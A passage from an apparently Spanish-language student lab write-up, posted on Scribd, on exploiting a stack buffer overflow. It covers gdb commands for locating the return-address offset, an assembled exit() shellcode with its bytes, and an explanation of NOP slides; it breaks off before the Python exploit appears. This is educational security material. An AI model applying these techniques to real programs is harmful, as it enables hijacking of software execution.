0% encontró este documento útil (0 votos)
2 vistas5 páginas

Instalación y Modificación de HexCurse

Se instala el editor hexadecimal HexCurse y se modifica un archivo para cambiar la dirección de retorno en un exploit. Se prueba la nueva dirección de retorno en gdb y se observa que se puede controlar la ejecución del programa. Se crea un shellcode sencillo que llama a la función exit() y se construye un exploit en Python utilizando un NOP slide para manejar imperfecciones en el depurador.

Cargado por

Marsupilami
Derechos de autor
© All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd
0% encontró este documento útil (0 votos)
2 vistas5 páginas

Instalación y Modificación de HexCurse

Se instala el editor hexadecimal HexCurse y se modifica un archivo para cambiar la dirección de retorno en un exploit. Se prueba la nueva dirección de retorno en gdb y se observa que se puede controlar la ejecución del programa. Se crea un shellcode sencillo que llama a la función exit() y se construye un exploit en Python utilizando un NOP slide para manejar imperfecciones en el depurador.

Cargado por

Marsupilami
Derechos de autor
© All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd

9.

Instalación HexCurse
• Instalamos el editor hexadecimal HexCurse 1.58 con el comando en una terminal
sudo apt-get install hexcurse
10. Modificar la dirección de retorno
Buscaremos los bytes exactos de la dirección de retorno modificando el archivo que contiene
los 66 caracteres “A” y el salto de línea (necesario para el exploit).
• En una nueva ventana de terminal siendo root ejecutamos los comandos para copiar el
archivo “sal” en un nuevo archivo “sal2” y abrirlo en el editor hexadecimal HexCurse
cp sal sal2
hexcurse sal2
• En la ventana del editor (ventana derecha) cambiaremos por ejemplo los 8 últimos
caracteres “A” por “87654321” que serán “38 37 36 35 34 33 32 31” en la ventana
hexadecimal (recordemos el objetivo de localizar e identificar que caracteres
sobrescriben la dirección de retorno).
Uray Calvo Rodríguez 12
• Guardamos el archivo para salir
ctr + x, y
11. Prueba nueva dirección de retorno
• En la terminal introducimos los siguientes comandos para volver a ejecutar el programa
en el entorno de depuración gdb con el archivo anterior creado “sal2”, establecer el
punto de interrupción en la línea 10 y ver los registros necesarios (examinar la nueva
dirección de retorno)
gdb -q name
break 10
run $(cat sal2)
info registers
x/x $ebp + 4
x/32x $esp
Uray Calvo Rodríguez 13
• La información mostrada hace referencia:
o La región resaltada con el ratón es el marco de la pila que comienza desde esp y
termina en ebp.
o Observamos como la dirección de retorno ahora es la palabra de 32 bits
"0x31323334" indicada con el cuadrado amarillo que corresponden a los cuatro
últimos caracteres introducidos en el fichero anterior con los valores “4321” en
orden inverso. Esto, significa que podemos controlar perfectamente la ejecución
del programa (de los 66 caracteres “A” del archivo, los 4 últimos caracteres
modifican la dirección de retorno que acabaran en eip (se necesitan exactamente
62 caracteres antes de los 4 bytes que modifican la dirección de retorno).
o El cuadrado verde indica los 4 caracteres después de los caracteres “A” que
introducimos en el editor con los valores “8765” en orden inverso.
• Continuamos la ejecución del programa para ver si ocurre el desbordamiento de la pila y
contrastar que el valor eip ahora es la dirección de retorno “0x31323334” con el comando
continue
• Salimos del entorno de gdb
quit, y
12. Obtener shellcode
El shellcode es la carga útil del exploit de código. Para esta practica, crearemos un shellcode
sencillo que llama a la función exit() y se utiliza para salir de un programa (este exploit no
logra nada, pero sirve para ver la explotación del programa vulnerable y lograr el objetivo).
Uray Calvo Rodríguez 14
• Instalamos nasm con el comando en una terminal siendo root
apt-get install nasm
• Creamos un fichero nuevo llamado “[Link]” que será donde escribamos nuestro
shellcode en código ensamblador
nano [Link]
section .text
global _start
_start:
xor eax, eax ;poner a cero eax
mov al, 1 ;se copia el valor 1 a la parte baja del registro AX (AL)
xor ebx,ebx ;poner a cero ebx
int 0x80 ; llamada a la interrupción del sistema
Uray Calvo Rodríguez 15
• Una vez guardado el fichero, compilamos el código en 64 bits (Ubuntu 20.04 x64) y
extraemos los bytes del nuevo fichero “exiter” mediante objdump
nasm -f elf64 [Link]
ld -s -o exiter exit.o
objdump -d exiter
• Los bytes que necesitamos son: 31 c0 b0 01 31 db cd 80
• El shellcode es: \x31\xc0\xb0\x01\x31\xdb\xcd\x80
• El shellcode tiene una longitud de 8 bytes.
13. Construir el exploit
Una vez obtenido el shellcode vamos a crear un exploit con Python en un archivo llamado
“exp” (de exploit) para lanzarlo y/o explotarlo en el programa vulnerable.
• Primero debemos establecer los NOP slide, pero ¿Qué es un NOP slide?
o Existen algunas imperfecciones en el depurador por las que un exploit podría fallar
entre otros por las variables de entorno que pueden hacer que la ubicación de la
pila cambie ligeramente.
o La solución establecida es un NOP slide. Una larga serie de “90” caracteres o bytes
(x90) que cuando se procesan no hacen nada, y pasan a la siguiente instrucción.
• Para este exploit usaremos por ejemplo un NOP slide de 30 bytes.
• En una nueva ventana de terminal ejecutamos el comando
nano exp
Uray Calvo Rodríguez 16

También podría gustarte